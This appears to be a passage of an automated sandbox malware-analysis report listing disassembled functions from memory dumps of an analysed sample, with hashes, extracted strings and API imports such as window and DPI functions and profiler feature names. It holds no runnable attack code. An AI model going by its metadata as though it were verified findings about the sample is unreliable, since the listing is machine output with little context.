Opcode Fuzzy Hash: 744b3a4cecc9228dc87fafaeac080af4be28995c242398fa3eb3eda2b9d899b6
Instruction Fuzzy Hash: 5002D2F3A0C2009FE7056E2DEC8176ABBE5EF94720F1A493DEAC5C3740E63598458697

Function 008DE302 Relevance: 2.8, Strings: 1, Instructions: 1577COMMON

Download Yara Rule

Strings

zL_i, xrefs: 008DF434

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: zL_i
API String ID: 0-1426813735
Opcode ID: e34f081c92839bf430a947c8932198ee8d872347bfd98978def6d1675502b75e
Instruction ID: 9e7af07fe85cba298b407a18344da11567dae3741936da8d273a15953be78017
Opcode Fuzzy Hash: e34f081c92839bf430a947c8932198ee8d872347bfd98978def6d1675502b75e
Instruction Fuzzy Hash: EDB227F3608210AFE304AF2DEC8567ABBE5EF94320F16863DE6C5C7744E63558418796

Function 008EBDF6 Relevance: 2.5, Strings: 1, Instructions: 1223COMMON

Download Yara Rule

Strings

Mh, xrefs: 008EC90A

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Mh
API String ID: 0-1938121330
Opcode ID: f8916a8fd51824f2a2722cd00fd18d6001bfb4bf7dfad3a561caf7ed58f01269
Instruction ID: 6a0f78d748f0cf0a3f3cc6ae5e7e2b59b973ee59014719a8b9e068964cf0e438
Opcode Fuzzy Hash: f8916a8fd51824f2a2722cd00fd18d6001bfb4bf7dfad3a561caf7ed58f01269
Instruction Fuzzy Hash: 51822AF3A082049FD3046E2DEC8567AFBE9EFD4720F1A453DEAC4C7744EA3598058696

Function 6CEB5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CE84A63,?,?), ref: 6CEB5F06

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: bfa642533ca82576dc9725db313aa5c2f48c960c24c89dd7d7183fd1ae05a399
Instruction ID: fc617ae6cbc179abd8f625fde1bfc20eda8a8396b9b827b0679c42c4c01aaa4f
Opcode Fuzzy Hash: bfa642533ca82576dc9725db313aa5c2f48c960c24c89dd7d7183fd1ae05a399
Instruction Fuzzy Hash: 5CC19075E022098BCB04CF95C6906EEFBB2BF8A318F38415DD8557BB45D732A806CB90

Function 0096B61E Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

_l{s, xrefs: 0096B732

Memory Dump Source

Source File: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _l{s
API String ID: 0-4129321495
Opcode ID: fa0cfc9a606dce45c405d8cc64df900c67beac053e44385ea3ccb83ff0039df9
Instruction ID: 31eb0e466ba3a109d5b2065e7e6e5e64dafaf6195cdb5d2839b3977732c42b0f
Opcode Fuzzy Hash: fa0cfc9a606dce45c405d8cc64df900c67beac053e44385ea3ccb83ff0039df9
Instruction Fuzzy Hash: D7311AB250C2049FE315AF58DC82A6EFBE9FFA8320F06492DE6D4C3250D77559508B97

Function 6CEA0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 5b6c5a3a3a5b5d8b8c2d49dc1ef6bdfaa633b9b2f5f5b84f5a199e26a0b2ee64
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: A8221875E04619CFCB14CF98C890AADF7B2FF89308F648599D44AAB705D731A986CF90

Function 6CEEAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c33a8e7525140178702157cd1b7404c6d71adac69b2c77a44e0040de57c30a
Instruction ID: 730bce1448bbdddc56f5335dd62968b1e7c4abb9974f23cc90f548045ea90851
Opcode Fuzzy Hash: 53c33a8e7525140178702157cd1b7404c6d71adac69b2c77a44e0040de57c30a
Instruction Fuzzy Hash: 68F12971A487458FD700CF28C48136ABBF2AFCA39CF258A2DE4D487791E7749885C792

Function 008A1BFD Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce025e882b054138a662e8603283e75261cf4dd769946b63e50f409e0561174
Instruction ID: 4d069100a21cc3e845001d78f1a41069bdcd6a8956b90fbf94147a8e7bba2c05
Opcode Fuzzy Hash: 8ce025e882b054138a662e8603283e75261cf4dd769946b63e50f409e0561174
Instruction Fuzzy Hash: 4A71E7F3E186145BE304AA2DDC8032AB7D9EB94760F2B463CDBD8D3780E5395C0586C6

Function 00539750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CED55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CEAE1A5), ref: 6CED5606
LoadLibraryW.KERNEL32(gdi32,?,6CEAE1A5), ref: 6CED560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CED5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CED563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CED566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CED567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CED5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CED56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CED56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CED56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CED56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CED5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CED572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CED5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CED5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CED577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CED5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CED57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CED57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CED57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CED57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CED57FF

Strings

FillRect, xrefs: 6CED5729
GetThreadDpiAwarenessContext, xrefs: 6CED562D
DeleteObject, xrefs: 6CED57F9
ShowWindow, xrefs: 6CED56DE
GetDpiForWindow, xrefs: 6CED5690
AreDpiAwarenessContextsEqual, xrefs: 6CED5637
LoadCursorW, xrefs: 6CED5774
MonitorFromWindow, xrefs: 6CED578D
GetSystemMetricsForDpi, xrefs: 6CED5677
SetWindowPos, xrefs: 6CED56F7
SetWindowLongPtrW, xrefs: 6CED57B7
ReleaseDC, xrefs: 6CED5742
GetWindowDC, xrefs: 6CED5710
EnableNonClientDpiScaling, xrefs: 6CED5666
gdi32, xrefs: 6CED560A
user32, xrefs: 6CED5601
GetMonitorInfoW, xrefs: 6CED57A2
RegisterClassW, xrefs: 6CED56AC
StretchDIBits, xrefs: 6CED57CC
LoadIconW, xrefs: 6CED575B
CreateWindowExW, xrefs: 6CED56C5
CreateSolidBrush, xrefs: 6CED57E4

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 7692d68c2423333f72604714e91bbf96a0f477be242a3c17a80a72255f849b1f
Instruction ID: 1a39325cbc31df23ecf202233151f7fddc50cdb446dcd5b96ad0c90702a094f0
Opcode Fuzzy Hash: 7692d68c2423333f72604714e91bbf96a0f477be242a3c17a80a72255f849b1f
Instruction Fuzzy Hash: C05130B4E127465BDB019F75AD449263AFDAB863497314439E931E2B41EF78DC02CF60

Function 6CEBCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CE8582D), ref: 6CEBCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CE8582D), ref: 6CEBCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CEEFE98,?,?,?,?,?,6CE8582D), ref: 6CEBCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CE8582D), ref: 6CEBCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CE8582D), ref: 6CEBCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CE8582D), ref: 6CEBCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8582D), ref: 6CEBCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CEBCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CEBCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CEBCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CEBCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CEBCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CEBCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CEBCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CEBCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CEBCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CEBCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CEBCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CEBCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CEBCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CEBCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CEBCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CEBCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CEBCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CEBCE8A

Strings

mainthreadio, xrefs: 6CEBCC7C
markersallthreads, xrefs: 6CEBCE42
samplingallthreads, xrefs: 6CEBCE2C
cpuallthreads, xrefs: 6CEBCE16
audiocallbacktracing, xrefs: 6CEBCDD4
stackwalk, xrefs: 6CEBCCF8
seqstyle, xrefs: 6CEBCCE6
ipcmessages, xrefs: 6CEBCDBE
Unrecognized feature "%s"., xrefs: 6CEBCEA0
processcpu, xrefs: 6CEBCE6E
nostacksampling, xrefs: 6CEBCD7C
leaf, xrefs: 6CEBCC66
preferencereads, xrefs: 6CEBCD92
nativeallocations, xrefs: 6CEBCDA8
screenshots, xrefs: 6CEBCCD4
default, xrefs: 6CEBCC21
noiostacks, xrefs: 6CEBCCBE
java, xrefs: 6CEBCC37
power, xrefs: 6CEBCE84
fileioall, xrefs: 6CEBCCA8
fileio, xrefs: 6CEBCC92
notimerresolutionchange, xrefs: 6CEBCE00
unregisteredthreads, xrefs: 6CEBCE58
jsallocations, xrefs: 6CEBCD0E

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: strcmp
